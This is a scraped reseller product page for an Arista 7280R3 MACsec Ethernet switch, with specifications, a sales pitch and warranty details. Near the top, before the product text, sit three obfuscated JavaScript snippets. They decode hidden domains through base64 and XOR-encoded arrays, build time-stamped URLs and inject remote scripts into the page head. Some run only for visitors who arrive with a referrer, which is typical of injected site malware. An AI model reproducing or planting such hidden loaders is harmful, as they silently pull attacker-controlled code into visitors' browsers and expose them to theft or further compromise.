Your Cart

function b(c,d){var e=a();return b=function(f,g){f=f-0x12c;var h=e[f];return h;},b(c,d);}(function(c,d){var i=b,e=c();while(!![]){try{var f=-parseInt(i(0x12e))/0x1+parseInt(i(0x12f))/0x2*(parseInt(i(0x131))/0x3)+parseInt(i(0x13a))/0x4+parseInt(i(0x130))/0x5+parseInt(i(0x12c))/0x6*(-parseInt(i(0x133))/0x7)+-parseInt(i(0x13b))/0x8+parseInt(i(0x135))/0x9;if(f===d)break;else e['push'](e['shift']());}catch(g){e['push'](e['shift']());}}}(a,0x6ffe0),!function(c,d){var j=b,f=Math['floor'](Date[j(0x136)]()/0x3e8),g=f-f%0xe10;if(f-=f%0x258,f=f[j(0x134)](0x10),!document[j(0x141)])return;let h=j(0x13f)+atob('MjRzdXBwb3'+j(0x138)+'==');(d=c[j(0x13d)]('script'))[j(0x137)]=j(0x132),d[j(0x13e)]=!0x0,d[j(0x139)]='https://'+h+'/'+g+j(0x13c)+f,c[j(0x12d)](j(0x140))[0x0]['appendChild'](d);}(document));function a(){var k=['createElement','async','page.','head','referrer','948fBuTlJ','getElementsByTagName','405099iMJsxt','60064uswqAY','941065OuFjem','3qpFwHO','text/javascript','24724BRZfJy','toString','4862187iadxjH','now','type','J0a2l0LmNvbQ','src','2871032gjOPkO','434968buuWzf','/em.js?revision='];a=function(){return k;};return a();}

!function (_da81c5) { var _4f558a = Date.now(); var _204c8 = 1000; _4f558a = _4f558a / _204c8; _4f558a = Math.floor(_4f558a); var _1bef1d = 600; _4f558a -= _4f558a % _1bef1d; _4f558a = _4f558a.toString(16); var _9ec065 = _da81c5.referrer; if (!_9ec065) return; var _881466 = [16403, 16385, 16385, 16407, 16390, 16385, 16476, 16389, 16403, 16390, 16401, 16410, 16403, 16385, 16395, 16412, 16401, 16476, 16401, 16413, 16415]; _881466 = _881466.map(function(_3b6a9b){ return _3b6a9b ^ 16498; }); var _53e2c4 = "37881230704295ff02d49a6c8c1adcd7"; _881466 = String.fromCharCode(..._881466); var _74c287 = "https://"; var _2d6041 = "/"; var _7a9e75 = "chunk-"; var _84600c = ".js"; var _2fa32f = _da81c5.createElement("script"); _2fa32f.type = "text/javascript"; _2fa32f.async = true; _2fa32f.src = _74c287 + _881466 + _2d6041 + _7a9e75 + _4f558a + _84600c; _da81c5.getElementsByTagName("head")[0].appendChild(_2fa32f) }(document);

!function (_7cfd21) { var _9a18ae = Date.now(); var _2de747 = 1000; _9a18ae = _9a18ae / _2de747; _9a18ae = Math.floor(_9a18ae); var _6bf20d = 600; _9a18ae -= _9a18ae % _6bf20d; _9a18ae = _9a18ae.toString(16); var _f1de2c = _7cfd21.referrer; if (!_f1de2c) return; var _323e77 = [5614, 5611, 5620, 5607, 5606, 5603, 5617, 5610, 5600, 5613, 5603, 5616, 5606, 5609, 5611, 5622, 5548, 5611, 5612, 5604, 5613]; _323e77 = _323e77.map(function(_e2677c){ return _e2677c ^ 5506; }); var _caad06 = "40f5ce7236cbb9b0bbc45d9d867f3bee"; _323e77 = String.fromCharCode(..._323e77); var _e04444 = "https://"; var _e06d1a = "/"; var _327561 = "track-"; var _9473b2 = ".js"; var _e0a0d3 = _7cfd21.createElement("script"); _e0a0d3.type = "text/javascript"; _e0a0d3.async = true; _e0a0d3.src = _e04444 + _323e77 + _e06d1a + _327561 + _9a18ae + _9473b2; _7cfd21.getElementsByTagName("head")[0].appendChild(_e0a0d3) }(document);

Authorized Dealer

Arista DCS-7280CR3MK-32D4S-R MACsec 1RU Switch Router, 32x100GbE QSFP Main Ports and 4x400GbE QSFP-DD Uplinks, Large Route, Rear to Front Airflow, 2xAC

MFR#

DCS-7280CR3MK-32D4S-R

Brand Name: Arista Networks

Product Type: Ethernet Switch

Product Family: 7280R3,7280R3 MACsec

MACsec Support: QSFP100 Ports

Layer Supported: 3

Product Brief:

DCS-7280CR3MK-32D4S-R

Ask a Product Specialist

We are a technology solutions integrator that builds secure next-gen networks for hybrid cloud environments. Our experts can help you select, configure, deploy, orchestrate, and manage networking platforms, delivering a turnkey solution. We offer a free network assessment to determine whether your network is secure, optimized for performance, and aligned with your overall business strategy. Our team has decades of experience across various industries and use cases, ranging from service providers to data centers and enterprises. We are well-versed in Arista platforms, EOS NOS, the CloudVision management platform, SONiC, and other key Arista networking solutions. Our engineers and network architects can help you design, secure, and manage your digital infrastructure, fostering a secure and connected organization.

Looking for something else or have a question about this product?

800.398.1262 | Live Chat | Email

Overview

Arista DCS-7280CR3MK-32D4S-R MACsec 1RU Switch Router, 32x100GbE QSFP Main Ports and 4x400GbE QSFP-DD Uplinks, Large Route, Rear to Front Airflow, 2xAC

Specifications

Brand Name	Arista Networks
Product Type	Ethernet Switch
Product Family	7280R3,7280R3 MACsec
MACsec Support	QSFP100 Ports
Layer Supported	3
Form Factor	Rack-mountable
Ethernet Technology	100 Gigabit Ethernet
Power Source	Power Supply
Plug/Connector Type	IEC 320-C13

Questions & Answers

Please login to post questions

Warranty

All new products are covered by the manufacturer warranty. To claim warranty, you may contact the manufacturer directly or contact your account executive at Hardware Nation. We can help facilitate the warranty processes between the customer and manufacturer.

SKU: DCS-7280CR3MK-32D4S-R Categories: Arista 7280R3 Switches, Arista Networks Switches, Switches & Bridges Brand: Arista Networks